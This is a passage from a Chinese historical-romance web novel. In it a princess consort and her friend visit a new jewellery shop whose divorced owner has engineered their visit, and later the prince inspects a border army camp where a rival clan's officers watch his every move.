即便是如此,掌柜的也丝毫不敢懈怠,态度恭敬,不敢有任何失礼冒犯之处,除了是他自身培养出的待客素养,也与颜漪、卢氏二人的气度以及她们身后随行护卫的人员有关。此次出行,卢氏自身带有几名仆妇以及带刀的护卫,颜漪身份更加贵重,随行的除开女婢外皆是从王宫侍卫之中挑选的精锐,腰间皆挎刀,护卫在四周。 掌柜多年为商,早就练就了一双辨人的眼力,一眼便看出眼前这二位年轻貌美的妇人来历非凡,不是寻常富贵人家能比。且大衍早有明文律法,富贵之家才可蓄养家丁护卫,对于护卫挎刀亦有规定,非权贵之家不可,违者依律处置。略略一数,这二人身后护卫挎刀者便有一二十人,堂而皇之地招摇过市,可见来历必定尊贵无比。 掌柜不敢去想二人的身份,忙迎上前招待,一路跟随,门前迎客的事情都交由别人去做,只专心顾着她们二位贵客。 颜漪与卢氏知晓他为何如此,情知此乃再正常不过之事,也愿意让他跟着,一路讲解一些珠钗翠玉首饰的来历、工艺、用料等。 这飞红堂共建有三层,门厅开阔,装饰用心讲究,处处显着典雅大方,细节处更将珠宝首饰的光华溢彩极尽衬出,叫人入得里面便满目华翠,挪不开眼又目不暇接。 “这飞红堂原先不曾听说过,但观览下来,也不输湛京内的那几家了。”卢氏赞道。 她虽然出身武将之家,从小舞刀弄剑,但女子对于精致美观饰物的喜爱是天生的,她的母亲自她年幼便开始为她准备嫁妆,湛京中首饰珠宝铺子常到府上呈上许多首饰、头面任她挑选,眼光早就练出来了。如今来到这飞红堂,这些珠宝饰物好与不好,瞧上一瞧便清楚了。她此时赞一声好,那说明这飞红堂的东西确实是好。 卢氏有此眼光,颜漪只会比她更甚。两人相伴出来逛首饰铺,又见东西确实不错,一直往二三楼上去,见到喜欢的便拿出来把玩佩戴。等从楼上下来,每人皆挑选三四样。 掌柜从头至尾都在二人身后小心伺候着,身躯微躬,始终面带笑容,直至目送二人离开,身躯才站直,从袖中掏出帕子给自己擦擦鬓边的细汗。飞红堂占地宽广,一楼内设有供掌柜休憩的小间,见当下并无需要他出面招待的贵客前来,他便入了小间,饮上一盏茶消渴。 适才他一路跟随那两位夫人,在需要时为她们作详细讲解,一路下来竟是半点水也未得喝,也不敢中途离开。结束之后,因话说的多,一股口干舌燥的感觉立即涌了上来,令他直入小间,抓起茶壶就饮,直到喝干里面的茶水为止。 掌柜身边跟随伺候他的小厮见他如此渴水,忙上前给他又沏了一壶茶,又忍不住好奇问道:“六叔,那二位夫人是何来历,竟连您都如此小心翼翼相待?” 小厮敢问这话也是因为掌柜是他血缘关系较为亲近的堂叔,他能跟在掌柜身边做事也是掌柜愿意提携他。故而将他带着身边让他多学多看的。往日里他也是私下这么问的,掌柜也会给他讲讲,岂料今日却一反常态了。 “不该打听的别打听,那二位还不是现阶段的你能知晓的。”掌柜觑了小厮一眼,说道。 小厮被这一眼看得生了畏缩之心,也不敢再问了,专心伺候掌柜喝茶。掌柜喝着茶,那股渴意已经消解下去了,他抿着茶,沉思不断,脑海之中也在猜想那二位夫人的身份。其实并不是很难猜,以他们飞红堂背后主家的势力,对江都境内的权贵大族基本了解,于掌柜而言不可能认不出那些最上层的权贵女眷。 掌柜认不出身份,又听之前她们提到“湛京”,答案已经呼之欲出了。他的心跳随之重重地漏了一拍,当下也坐不住了,“霍”地站起身来,复又坐下。 此时人已经走了,再去通知主家也晚了。 掌柜重新回忆了一遍自己此前招待二人是否有疏忽怠慢之处,细想过三四遍确定并无不妥之处后才松了一口气。时机既然已经错过了,那就更要注重当下。飞红堂今日开张,马虎不得,他不能轻易离开。待闭店之后再去寻主家汇报也不迟。 这边掌柜如何想,颜漪与卢氏是不知的,即便知晓恐怕也不会如何在意。马车内,卢氏将从飞红堂购买的饰物拿出置于手心赏玩,其中她最喜欢的是嵌翠滴玉金步摇,做工精巧,尤以那形如水滴的翠玉装饰,恰似那点睛之笔,摇动间绿意流淌,极是美观。 “这般精巧的做工比之湛京的那几家也丝毫不差了,这飞红堂背后之家也算不得了。”卢氏赏玩过后将之收起,又说起这飞红堂来。 “表嫂是从何处得知了新铺开张的消息?”颜漪问了一句。能在那样的地段开上这样一间面上权贵之家的首饰铺子,其背后的主家怕是来历也不简单。 卢氏道:“前几日崔栋一些相识之人的女眷前来拜会,谈话间说到了。后来门房递了信件上来,其中便有飞红堂的,昨日想着闲来无事不若就去看看,这才约王妃一道出门。” 崔栋在江都国任着四品都尉,这已算是整个江都最高的武官职位了,他手底下管着不少的部将,还有一些交好的友人。以前崔栋没有成亲,府中与那些部将的女眷是没有什么往来的,平日里有暇也只是与部将们一道喝酒。如今崔栋从湛京带了明媒正娶的妻子回来,那夫人交际就要捡起来,各家女眷之间便要彼此走动起来。 崔栋地位高,夫妻一体,自然连带着卢氏在女眷的地位也高,故而都是别人递拜贴上门的多。但毕竟时日尚短,卢氏与这些女眷们还不怎么熟悉,更愿意与同来江都的闺中好友颜漪一道出门游玩。 与之相比,颜漪的地位更高。一家首饰铺子开张而已,即便是背后的主家还没有资格将相应的帖子投递到王宫之中去。 卢氏见颜漪有兴趣,便说起这飞红堂背后的主家,“据说这飞红堂是高家长房之女一手办起来的,其中诸多巧思皆是由她而起,听说是一个很了不得的年轻娘子。”她说着,言语之间竟带着些许欣赏之意。 颜漪与卢氏相识多年,多少是知道她的性子如何的,如今见她对一名女子生出欣赏之意,也不由对她口中的高家娘子产生了几分好奇心,“高家娘子如何了不得竟是让表嫂都生了结识之心?” 听这三言两语,便知这高家娘子是入了卢氏的眼。她今日来这飞红堂,怕就是想见一见这幕后的高家娘子,只是人不在,也不想刻意去寻。 卢氏见颜漪识破自己的一点小心思,便也坦然,“今日本想过来选些首饰,顺道碰一碰运气。如今看来是不成的。她是高家长房之女,高家在江都亦有些名声,她此前的事迹也在江都闹出过一阵议论,稍稍打听便能知晓。别人对她贬损居多,我倒觉得她心智坚定,聪慧明理,处事手段之干脆利落,一般男子都比之不得。” 颜漪听后,当即了然。 高家的名声,她自然是听过的,也有所了解。事实上,在她将王宫之内的事务完全理清且上手之后,她的注意力便转移到江都境内的权贵大族之上。这是应有之事,她作为江都王妃,对江都权贵大族的各家情况总要了解的。 最简易直接的方法是令人收集信息、整理成册递交给她阅览,但这样做使得信息只浮于表面,更深层次地还需要阅看之人一点一点剖析其中暗含的信息,如此以来必然劳心费力,还不一定能够得到里面重要的信息。 颜漪身为江都王妃,身份决定了她的立场。站在王妃的角度,她需要知道哪些人是与江都王站在一起的,哪些又是褚氏那边的,哪些人值得拉拢,哪些人则需要打压,还有其余种种,不是一时半刻能够理清的。 那几日她白日处理了宫务,夜里点灯阅看,被沐浴回来的百里漾瞧见。当时百里漾伸脑袋过来看了一眼,颇有些意外道:“这几日见你夜里点灯看书,原来是在看这个。夜里虽有烛火可看久了依旧容易伤眼,不若我来给你分说一二?” “大王愿意解惑,我自然求之不得。”颜漪望着他认真含笑的眼眸,面上也带了笑意,说道。 由是如此,百里漾便挤到了颜漪身旁,与她同坐一案,就着书简上提及的人家与她细说。 从那日之后一直如此,直至百里漾出发前往赤岭郡巡视边境的前夜因次日要早起行路才暂时停止这项夜间“读书”活动。 江都的情形在那几夜里在百里漾的讲述中她也大致明了,其中也有提到高家。 高家在如今的江都并不算小门小户,虽然跟褚氏那种盘踞上百年的世家大族比不了,但也不容小觑了。高家崛起于前朝静帝时期,祖上因缘际会当了官,最后官至一郡之守,高家便从此发迹。 发迹之后的高家历代都有人做官,但最多也只是做到郡守的职位,势力和影响力也扩充到了几郡之地。不过高家发家的时日不过几十年,底子还是薄了些,中间还有过后代青黄不接的窘境,又经历了前朝末期的战乱,很是颓萎了一阵,高皇帝立朝后才渐渐又好了起来。 如今的高家只有几个人在江都做着官,官位都不算高,一年到头都没有几次能到百里漾跟前来,但却不影响高家成为江都数得上号的势力,只因其特别之处在于他家极是富裕,论家资除了比不上褚氏百多年积攒下来的深厚底蕴,其余的可没有能比得上他家的。 颜漪至今还清楚地记得,百里漾在谈及到高家之富裕时,言语间也不免透露出几分羡慕之意,足见高家家资有多丰厚了。但高家也不是一开始就有如此丰厚的家财的。 高家这几代做官都不怎么行,高不成低不就,只能说是勉强维持高家的门庭。从前两代开始高家之中便有子弟从商,挣下大笔家财。到了如今,长房更是出了一个经商尤为厉害的儿子,不过十余年的时间就积攒下令人咋舌的财富。这飞红堂背后的主家便是这位长房之子的独女高大娘子。 这位高大娘子说起来也是经历坎坷。十四岁丧父,服丧三年后嫁入齐家,嫁妆之丰厚虽称不上十里红妆亦有七八分了,至今仍为人所称奇。不过她所嫁的齐家子并非良人,人前装得人模人样,与妻子情深义重,人后却是与人勾搭成奸。年前爆出来他未成婚前便置有外室,生有一外室子,比正室所生之女孩还要大三岁。 事情爆出来出来之后,齐家见事已败露,非但不去求高大娘子原谅反而让她大肚将外室纳回家中,还以高大娘子无子为由令她认下那外室子,记入名下。高大娘子如何能忍,无论亲朋如何来劝,始终坚持和离。齐家不肯,纠缠了半年,两月前才和离了。 这件事情当初很是闹了一阵,江都地大但权贵的圈子也就那么大,消息一经传出那家家都会知晓。当时说高大娘子不知好歹的声音可不少,更有劝她为了女儿隐忍的。她通通都没有听从,去意坚决,乃至后来齐家子跪求也不为所动,快刀斩乱麻,和离后带着女儿搬出了齐家,也不会高家,在城中置了宅院。 此事之后,本以为高大娘子会就此消沉,没想到她转眼便开了一家飞红堂。当然,有见不得人好的好事多嘴之人议论她和离之后不好好将自己藏着还敢出来抛头露面,实在恬不知耻,说什么难听的话都有。 “有些人自己过得不好便见不得别人好,一张口就酸气冲天。”卢氏随崔栋来江都,少不了要对江都的情形也做一番了解,此前高大娘子和离之事闹得正是沸沸扬扬时她还在湛京,之后再听说时已过了二三月。但这并不妨碍她对素未谋面的高大娘子产生好感。 颜漪自小同她相识,自然也是知道卢氏对高娘子的好感因何而来。卢氏有此感慨,她心中未尝不是这般想法。 高大娘子的这般遭遇其实也符合了当下的世情。 自前朝灵帝始,世家大族之间忽然兴起一股倡导女子守节之风,更有甚者乃至著书,对女子操行做出了详细要求,将“以夫为天”作为女子婚嫁后的首要之务,对当时符合所谓规范的女子倍加推崇,引起一时议论。尽管当时世人以反对者居多,但此论说却在世家大族之间逐渐流传开来,经过前朝两三代帝王之后,此风竟愈演愈烈,在世家大族内部形成了一套教导家中女儿的规范,并以此为标榜。 大衍立朝后,于高皇帝一朝修著律法,明令允许女子和离、改嫁。民间遵循此法,女子和离之事并不稀奇,乃至有女子二嫁、三嫁之事。但在那些世族高门之内,依旧固执地遵循那一套训导女子的做法,视女子和离之事为家族之耻,认为和离的女儿只会辱没门风。有此风气在,可想而知高大娘子当初和离是以何等坚毅之魄力顶住了如同涛涛海啸般的压力。 卢氏祖辈以军功起家,对儿子女儿一道疼爱,素来是看不上世族高门这种“奇葩”做派的。卢氏自小耳濡目染,对这种实则为“坑害女子以全父兄所谓脸面”的行为极为看不上。嫁的男人不是个好东西,不赶紧踹了难道还留他继续在自己面前恶心人么? 卢氏想起一桩往事,不由叹道:“我在闺中时曾有一交好的姐妹,她也所嫁非人,只是她最终并没有选择和离,选择了原谅与隐忍。”之后就换来了一次又一次的原谅与无尽的隐忍。她当时是恨其不争,后来也有些想明白了,个人有个人的选择,只是终究觉得不平也不公。 “这么一说,我倒是也想见见那位高大娘子了。”颜漪说道。她眼眸中含着深意地看了卢氏一眼,不免有一种卢氏被人“套住”的感觉,现在乃至她自己都觉得自己也被“套上”了。 不过,若真是如此,那那位高大娘子确实值得见一见了。能将卢氏套住又连带着套上了她,即便是知道自己被“套”,颜漪也生不起被算计的怒气。对于幕后之人来说,这何尝不是一种令人另眼相待的本事。 既是出来游玩的,颜漪与卢氏在逛完了飞红堂之后又在江都城中转了大半日,挑了不少东西买下,在日落之前分别,各自回家了。 日落之后,今日新开业的飞红堂热闹渐歇。掌柜于小间内盘账,算盘珠子好一阵拨弄过后,账目逐渐清晰。待看到最终的数字,掌柜忍不住一阵欢喜,叫来管事将提前准备好的开业赏银给店中人员发下去,随后吩咐闭店,自己则携账本往东而去。 “东家,今日飞红堂开张,新客盈门,生意极好,更有几家送上贺礼,名单与账目皆在此,请东家过目。”掌柜乘车在一座门口挂着“高宅”的三进院落门前停下,入了门之后在仆妇的引领下至花园亭中,见一年轻妇人,匆匆一眼不敢多看,拜见之后呈上账本。 这年轻妇人正是高大娘子。 一旁伺候的仆妇接过账本交到她手上,一番翻看之后,高大娘子对今日飞红堂开业的情况已明了,对掌柜说道:“今日辛苦你了。新店开业,大家合该沾沾喜气。”说罢,示意仆妇。 仆妇会意上前将一红色锦袋递与掌柜。这是开业赏银,飞红堂的店员人人皆有,自然掌柜也会有。而这一份是东家给他的。 掌柜也不推脱,谢过之后,又忙将心里一直记挂着的事说了,“那二位夫人气度高华,茂仪雍容,想是非常之人,我在江都多年都未曾见过此等贵人。” 掌柜姓吴,他自小便跟在已去的高家大郎君身边做长随,后来更是跟着高家大郎君四处行商,是忠心之人。先主病亡之后,他不似其他人一般或离去或改投他人,而是继续跟随小主人高大娘子,也得信任。 高大娘子是知道这位跟随父亲多年的“老人”的眼光的,他既能说出那两位年轻夫人乃是他生平都未曾见过的贵人,那就必然是极贵的了。整个江都能够符合这样特征之人,寥寥无几。 想到那个可能,高大娘子心情忍不住一阵激荡,但她抑制住了,再一次确认,“飞红堂开业的邀帖确定送到哪几家府上了,无一遗漏?” “东家放心,确定无一遗漏。”掌柜保证道。 第103章 默契 “如此便好。”高大娘子激动的情绪渐渐冷静下去, 随后长长吐出了一口气,目光看向吴掌柜,轻声道:“如今我还不便出面, 飞红堂的生意暂且有劳吴叔看顾了。” “东家说哪的话。”吴掌柜连忙说道,“老东家待我恩重如山,如今承蒙东家不弃愿重用于我,是我之幸。” 他说的都是肺腑之言。若非有幸被分配到老东家身边做长随,若非老东家不嫌弃将他带在身边用心教导, 他这辈子估计都只是一个无知卑贱的下人。老东家病逝之后, 他被诬偷盗主家财物, 若非东家为他力证清白,他早就遭受断手之刑, 难以苟活。 吴掌柜早在心中发誓要为高大娘子效死,更是真心想要为她分忧的。 他看得分明, 如今东家的处境,看似已经脱离了齐家那个泥潭似的污糟之地、重获自由与新生, 实则却是如履薄冰、危机四伏。因和离之事东家已与齐家撕破脸, 而高家那边当初不仅不体谅东家的难处还力阻和离之事如今也已与东家离心, 日后再有人与东家为难,高家也不可能会再为之出头了。 这么一看,东家背后竟没了依靠和倚仗。 吴掌柜是知道此次为了筹办飞红堂东家几乎将仅剩的大半钱财都投入了进去,今日新店开业他心中难免惴惴,唯恐生意不好。好在这一日下来生意瞧着极好,那些提前送去帖子的府邸虽然很多主人没有亲自来道贺但也令人送来了贺仪。最重要的是来了两位最是关键要紧的人物,而这也是东家最为想要的。 “后续可还要做些什么?”吴掌柜问道。将人引来了只是第一步,但若是想要达到东家的目的,仅仅如此还不足够。 “暂时不必。”高大娘子轻轻摇头, “近来只需专注于将飞红堂经营好就足够了,要让它在短时间内跻身成为江都城中首屈一指的首饰铺子。” 她既想要投诚就须得拿出自己的诚意,更要证明自己的价值。那位可是处于江都权力最顶峰的人物,不是什么人都可以入她的眼、纳入门下的。 无名之辈不值一提。 “主家,小女郎醒了,正吵着要寻您呢。”此时在主屋照顾女儿的仆妇匆匆过来禀报。 沉思中的高大娘子回过神来,面容不自觉变得柔婉,朝着吴掌柜歉意一笑。 吴掌柜忙道:“小女郎要紧,我在此便不打扰东家了,先告辞回家了。” 高大娘子令人替她送吴掌柜出门,自己则是往主屋走去。只是刚走到半道,久等娘亲不至的三岁女童已经自己寻了出来,后面紧跟着两个伺候的仆妇,唯恐她摔了。 看见娘亲的身影后女童的眼睛登时一亮,稚嫩的小嗓音喊着“阿娘,阿娘”便跑过来一头撞进了娘亲的怀里。 “阿娘你到哪去了?”女童很是迷恋娘亲温暖的怀抱和香香的气息,被娘亲抱着就如同乳燕入巢般充满了安心感,顿时消去了她睡醒来不见娘亲身影的不安和恐慌。 “阿娘就在花园里。”高大娘子拥着女儿小小软软的身子,轻拍两下女儿的后背抚慰,见她额上软软的细发被汗湿粘住,取出巾帕小心给她擦拭,又柔声问道,“可是饿了,我们去前厅用饭可好?” “是饿了。”女童摸了摸自己的小肚肚,不安感消散之后饥饿感便涌了上来,拉着娘亲的手,“要和阿娘一起吃饭。” “好,阿娘陪着你一起。”高大娘子看着女儿心中无限柔软,牵着女儿往前厅走去。 次日清晨,卢氏起床洗漱穿衣,坐于梳妆台前装扮。身边亲近的婢女如往常般伺候她装扮,在最后选择珠钗做发髻装扮时,婢女拿出了昨日卢氏与颜漪去飞红堂购买的首饰摆于梳妆台上,“夫人可要戴上昨日买的首饰?” “我先瞧瞧。”卢氏昨日从飞红堂拢共买了五样饰物回来,当时挑选时自然是喜欢的,如今再看依旧很喜欢。她自小因为家中长辈宠爱见识过的好东西不少,珠宝首饰一类的除了进贡入宫的那些最为稀罕顶尖她没怎么见过,再顶尖的货色她也见过乃至可以拥有。 以卢氏的眼光来看,飞红堂内售卖的饰物大多在品质上时比不了湛京内的,但让她眼前一亮的是造型设计之精巧夺目,足见工匠设计之巧思。昨日那一趟飞红堂也不算是白去。 卢氏的手指在几样珠钗上一一点选而过,最后选了一支青金钗戴上。她一手扶着那支金钗,看着铜镜中的自己,不知怎么的,忽然想起昨日王妃颜漪问起她如何想着要来飞红堂时投来的饶有深意的一眼。短暂的愣忪过后,卢氏此刻又不禁开始回想自己是如何起了心思要去飞红堂的。 所有与之有关的事情并没有过去很久,卢氏可以清晰地记忆起每一个细节,乃至那些前来拜访的女眷在说起飞红堂时的神态表情都能够回想起来。她先是听说了高大娘子的那些过往,为她不惜得罪江都当地世族豪族也要与和离而击节叫好,随后又得知了高大娘子不日筹办的飞红堂即将开业的消息,当即便起了要见一见那位高大娘子的心。 当时心情正激昂,好奇心正盛,想要见一见那位高大娘子的庐山真面目,卢氏并没有多想。可如今细细向来,她怎么有一种钻入了什么套子的感觉。且昨日不仅她自己去了飞红堂,她还邀了王妃与她一同前往…… 嘶! 将一切想明白之后,卢氏不禁倒吸了一口凉气。她此刻无比确定自己就是被人设计着钻入了一个套子之中,她自己钻了进去还不算,还连带着将王妃都带着一起钻了进去。又或者说,设计这个套子的人的目标一开始就不是她,她只是作为一个“中间人”,由她这个“中间人”将最终极的目标王妃给引来。 意识到自己被人设计钻了套子,卢氏有一种被愚弄的愤怒。铜镜里簪在发髻上的钗饰怎么看怎么碍眼,愤怒中的卢氏直接一把拔下了头上的钗饰要将之扔回盒子里面,手挥到一半却生生止住了,盯着那钗饰看了好一会儿,又突然笑了。 旁边伺候的婢女叫主子这一会儿怒气冲冲一会儿发笑的反应弄得莫名心慌,正不知所措时听到卢氏的声音,“令门房套马车,我要入宫一趟。” 婢女领命,忙去做了。 卢氏去到王宫永延殿时,颜漪正要用膳。她见在此时卢氏急匆匆入王宫来寻她,怕是连早饭都没有用,吩咐初禾再拿一副碗筷上来。 “表嫂匆匆入宫,怕是还没有来得及用膳,先用膳吧。”颜漪一句话让卢氏冲口欲出的话生生顿住。那双含笑的眼眸,仿佛已然明了了一切。 卢氏紧迫急躁又隐隐带着不安的心情在那双眼眸的注视下忽然就平静了,她笑盈盈地在颜漪对面坐下,“先前听崔栋说他以前最是喜欢到大王处蹭饭,吃着的味道尤为香。如今我也觍着脸过来蹭王妃的饭了。” 崔栋成婚之前喜欢到百里漾处蹭吃蹭喝的事情颜漪自然有所听闻,此刻听到卢氏如此说法,不由一笑,“如今他们二人皆不在,表嫂若想来尽可来,我们也得自在。” 饭食毕,两人移步到花园中的阁楼小坐。 卢氏说起了昨日飞红堂之事,既是惭愧又是告罪说道:“因我之过,带累王妃,内心实在难安。”哪怕飞红堂背后的高大娘子最终目的是冲着王妃而去的,可此事终究是经由她将颜漪给带着一起钻进了套子,算起来她是有失察之过的。 颜漪自然不会因为这样的事情就怪罪卢氏,让卢氏不必将此事放在心上,“表嫂乃性情中人,幕后之人怕是料准了你的性子,又算准了你我的关系,故此设计罢了。” 对于今日卢氏因飞红堂之事跑来与她致歉,颜漪并没有意外。卢氏并非愚笨之人,哪怕昨日的她没有想明白飞红堂之事背后的关窍,经过了一夜也该想明白了。 飞红堂背后的高大娘子怕是事先就打听过卢氏的一些事情,对她的性情有所猜测,又想卢氏初来江都必然要对江都本地的权贵世族做一番了解,如此一来也必定会对此前闹得不小的和离之事有所耳闻。高大娘子是赌卢氏会因为和离之事而对她本人有所好奇,因而通过一些人将飞红堂开业的事情传到卢氏的耳中,难保卢氏不会起了兴致想在开业之日亲自去飞红堂看看。 吸引了卢氏只是计划的第一步,高大娘子最终的目的是引来深居在王宫之中的王妃颜漪。 都尉崔栋乃江都王表兄,二人自小一起长大,情谊深厚;王妃颜漪在闺中时与卢氏多有往来,交情已不浅。这些都不是什么很难打听的事情。如今颜漪与卢氏,一个嫁给了江都王为妃,一个嫁给了崔栋,在闺中好友的身份上又添了一层表亲妯娌的身份,二人的关系只会好得不能再好。 卢氏知道了高大娘子与飞红堂开张之事,十有八九是要同王妃颜漪说起的。若是幸运的话,飞红堂连同高大娘子自己的名字都会进入王妃的视线之中。 这便是高大娘子的算计。只是恐怕连她自己都没有想到事情会如此的顺利与迅速,飞红堂开业之日不仅来了卢氏,连王妃颜漪也都一起来了。 “此事我也是今晨梳妆时才醒悟过来。”卢氏面上带出了几分惭愧之色。昨日在飞红堂之中,王妃必然是已想明白了其中的问题才特意问她的,偏她当时还无知无觉。 “如今表嫂想明白了,心中作何感想?”颜漪看了一眼卢氏发髻上的钗饰,问道。她的记忆力不差,认出那钗饰乃是卢氏昨日在飞红堂买下的首饰之一。 卢氏道:“不瞒你说,一开始想明白后是极为恼怒的,只是气不过多久便又不气了。经此事后,我反而对那位高大娘子愈发好奇了。” 她一开始固然是恼怒于高大娘子对她的算计,但冷静过后她反而愈加欣赏起那位未曾谋面的高大娘子了。 卢氏本就因为高大娘子没有屈从世族规训女子的那些污糟条例规范坚持和离而欣赏于她,如今虽是遭了对方算计将她请入瓮中,但一时的愤怒过后反而觉得对方有谋敢为,这样的女子在当世亦是不多见了。 “那真是巧了,我也是这般想的。”颜漪含笑道。认真说起来高大娘子的这点小心思还算不上什么算计,不过是一次有所求的谋划罢了。 “那王妃打算见一见这位高大娘子么?”卢氏问道。 如今看来,高大娘子的这一番精心策划并没有白费,经此事她确实顺利进入了江都王妃的视线之中。那么下一步就是召见了? “暂时不了。”颜漪轻轻摇头,否定了这个可能,“若是有缘,将来再见也为时不晚。” 高大娘子此举的目的已经达到,但以目前的情况来说也仅此而已了。因为高大娘子并非是简单想要寻求庇护,她更倾向于毛遂自荐。但既要自荐,无能力无价值谈何自荐。而接下来便是高大娘子证明自己价值能力的时候,也只有证明了足够的能力与价值,她们才会有真正会面的机会。 这一点,高大娘子自己也心知肚明。 这么一说,卢氏也明白了,她笑道:“听闻高家长房当年在经商置业一道上极有能耐与手段,不过十年间便攒下数倍于高家家业的家当,也不知如今的高大娘子有几分肖父?” “说不定是青出于蓝而胜于蓝,我们且拭目以待便是。”新茶沏好,颜漪举杯清抿一口说道。 “如此倒是让我更多几分期待了。”卢氏手捧着茶杯,眉头向上轻挑了几分。 此事暂且略过,两人继续在阁楼里品香茗,再说说江都里的事情,更多的是就自己目前知道的信息互通有无,以便能够更快地掌握江都本地的情况。她们一个是江都王妃,一个是都尉之妻,若是对江都本地的这些权贵高门知之甚少,这是很不妙的事情。 时间不知不觉过去了,很快便到了午间。颜漪与卢氏相谈甚欢,自是留卢氏一道用了午膳。午膳的菜色很有江都的特色,口味与湛京的菜色有些差别,一开始两人都不是很吃得惯,但这月余下来也渐渐习惯了。 午膳过后,卢氏也不好真的打扰颜漪一整日,正准备提出告辞时,初禾快步来到阁楼,双手向前对颜漪呈举着掌心的一个锦袋,语气里禁不住泄露出一丝欢喜,禀报道:“王妃,大王传信在此。” 颜漪当即走近伸手接过来,解开了锦袋上的系绳,手指捏住了里面装着的信简正要打开却顿住了。卢氏看出了她的迟疑,当即识趣地表示要告退了,她心里也是有期待的。江都王的家书都送到了,崔栋的估计也送至都尉府上了,她有些迫不及待地要回去了。 颜漪知晓卢氏着急回去看崔栋送回来的家书,也不留人,令初禾替她将卢氏送出宫门,自己则是回到了永延殿中打开信简看了起来。 百里漾的家书里第一句就是报平安,随后便是问候颜漪在江都城一切可好,其余的便是说一些沿途见过的风光。他在家书中并没有谈论永定大营的多少情况,只是说有些麻烦但大多可以解决,还在信的最后表达了对她的思念——没有直接写,但颜漪看到了。 第104章 巡营 颜漪纤细白皙的手指忍不住在信简最后的那行字迹摩挲, 眼眸中流露出几分暖融的笑意。短短几行字,透出书写人别扭却真诚的心意。她禁不住去想百里漾在写下这些字时是怎样的一种情态,若是能够亲眼见到就好了。但这只不过是小小的一点遗憾罢了。 知晓百里漾是平安抵达了永定大营, 颜漪内心松了一口气。百里漾在信简上写的那些沿路的风光她看了,俱是她未曾见过的。百里漾还在信简中说来日若有机会希望可以同颜漪一道共赏大好风光,言下之意便是日后有机会也带她一同外出巡游。 颜漪的目光在触及到那些文字时更为温柔,最后停留在了有关永定大营的那一行字迹上。她知晓百里漾此次去往边境巡视的目的为何,永定大营显然是其中的重中之重。如今的局势之下, 他势必要对永定大营有一番动作的。 只是, 永定大营如今的领军将领为定襄将军褚之邑, 此人出身褚氏,必然会加以阻挠。百里漾此行过去未必会顺利。 颜漪的担忧没有错, 百里漾等人抵达永定大营之后,除了一开始到地突击伤兵营以及犒赏行宴打了褚之邑等人一个措手不及外, 后面再要有所进展就变得艰难了。 百里漾此行对外宣城是“巡视边境”,那自然就要四处走走看看了。然而从百里漾抵达的次日开始, 他以及他的人每要去一个地方, 前脚刚走出营帐, 后脚便迎来了所谓的领路之人。这些领路之人都有一个共同点——笑吟吟且热情洋溢,无论怎么说都撵不走,形如监视者。 当然,这只是你自己的感觉而已。明面上他们的行为并没有什么可以挑剔的地方,即便是百里漾也不能因此而降罪于他们。 明知道这是褚之邑那些人耍的小把戏,但却无可奈何。无论百里漾要出军营之中的任何一处地方,他们都很殷勤地在前方为他引路,以至于百里漾所到之处、所见到的一切俱皆挑不出什么毛病来。 但百里漾与崔栋心里都清楚,越是看着没有毛病就越是也有问题。 巡营一整日下来, 尽是叫这些人缠着,甚至百里漾他们还得耗费心神去应付这些人,简直不胜其烦。 “褚氏之人,不论文臣还是武将,真真都是一路货色。一日下来,尽看他们恶心的笑脸去了,我拳头都痒了好几回,恨不得一拳砸他们脸上。”回到百里漾入住的大帐里,崔栋很是不爽道。 即便是知道事情不会顺利,褚之邑等人势必会动手脚或是从中作梗,可真正遇到时那心里的火气就一直“蹭蹭蹭”地往上涨。当然,崔栋主要是被那一张张令人不适的脸恶心到了。 百里漾亦是拧眉,脸色也有几分沉下来。今日他要巡视军营,褚之邑等人自是不敢拦。只是他每到一处都被人提前得知了行踪,身旁更是一直跟着在前头领路之人。如此一来,他便似被人算好了,看到的也只是褚之邑想让他看到的。 老实说,这种明着被人欺骗糊弄的感觉真的很不好。 “褚之邑为定襄将军,在此多年经营也并非白费的。”百里漾捏了捏眉心,缓一缓眼睛的疲劳,复睁眼道,“今日也不算半点收获都无,至少将军中将士操练情形看了。” 崔栋接口道:“不得不说,褚之邑这定襄将军做的也不算失职。”恼火归恼火,同为武官武将,他也得承认褚之邑的治军能力。 今日他们围观了将士们的操练,整齐有序,娴熟非常,军中常用的刀、矛等兵器的使用对敌之法皆练得很纯属,军阵演练也迅速、配合得当;再观将士们的精气神,也具皆精神饱满,眉宇之间透出刚毅坚强之色,瞧着便是一支英勇无畏之军。 这些是很难作得假的,褚之邑也不会在这一方面作假,更没有必要以此来哄骗百里漾。治军有方不是更显出他这位定襄将军的本事,这位置也只会更稳当。 “眼下江都当务之急是防备离渊来犯,其他的皆可往后放一放。”百里漾说道。换下固然褚之邑切合他的利益,但眼下并不是一个好时机。 崔栋也心知,眼下并不是削弱褚氏势力的时候,他们要着眼于更远处,一直越过江都的边境,到千里之外的离渊中去。 “接下来当如何?” 既然不是冲着换掉褚之邑去了,那么他们接下去的行动是否要变一变? 百里漾道:“不必刻意去做什么。军营里四处都是他们的眼睛,做什么他们都会紧盯着。暂且顺其自然,先让他们摸不着头脑一阵,用不了多久自然就会松懈下来。” 人都是用惰性的。先让他们绷紧了神经、紧张兮兮地盯上一阵,等发现似乎什么都没有之后自然会懈怠下来。他们懈怠了,就会多出给百里漾等人操作的空间。 “但部分人明面上还得装装样子。”百里漾又补充了一句。 明暗两面动作,要的就是虚实不定,让他们摸不着头脑,手忙脚乱。 “我明白,明面上的事情交给你,暗地里的事情则交给我。”崔栋摩拳擦掌,面上适时露出了点阴恻恻的笑容,“他们既然要盯着,那就给他们盯个够。” 这种事情崔栋会得很,他要褚之邑的那些人对他做的每一件事情都疑神疑鬼,恨得牙痒痒偏偏却对他无可奈何,气不死他们。 “威武,都尉威武!” “快上啊,把那家伙打趴下。” “让都尉也见识见识我们永定大营的厉害。” 青天白日,头顶着热辣的太阳,永定大营的一处校场之上俨然是一派热火朝天的景象。一大群的将士们自发围成一圈,目光紧随着场中央正在比武的二人而动,群情激燃,不断有助威叫好的声音爆出,离得老远都能够听见。 被的围在场中央的二人,一人是崔栋,一人则是永定大营中的一名营将。此刻两人不比刀剑,而是在比摔跤。摔跤是军营之中将士经常比拼的一种竞技方式,这种竞技也是自己的技巧,但更多的是比拼力气、体力以及耐力。若是后者与比拼者差距太大,即便技术再好也无济于事。因此,摔跤强的必然是军中的勇猛之士。 崔栋从小就待在军营里,什么刀枪棍棒没有练过,摔跤也是必然有的。他不仅会摔跤,甚是还是此中好手,衣服一脱直接露出健壮的身材,那一身的腱子肉,手臂上鼓起的肌肉,在太阳的光照下显得愈发油亮,一看就知道是经常习武之人才能练出来的。 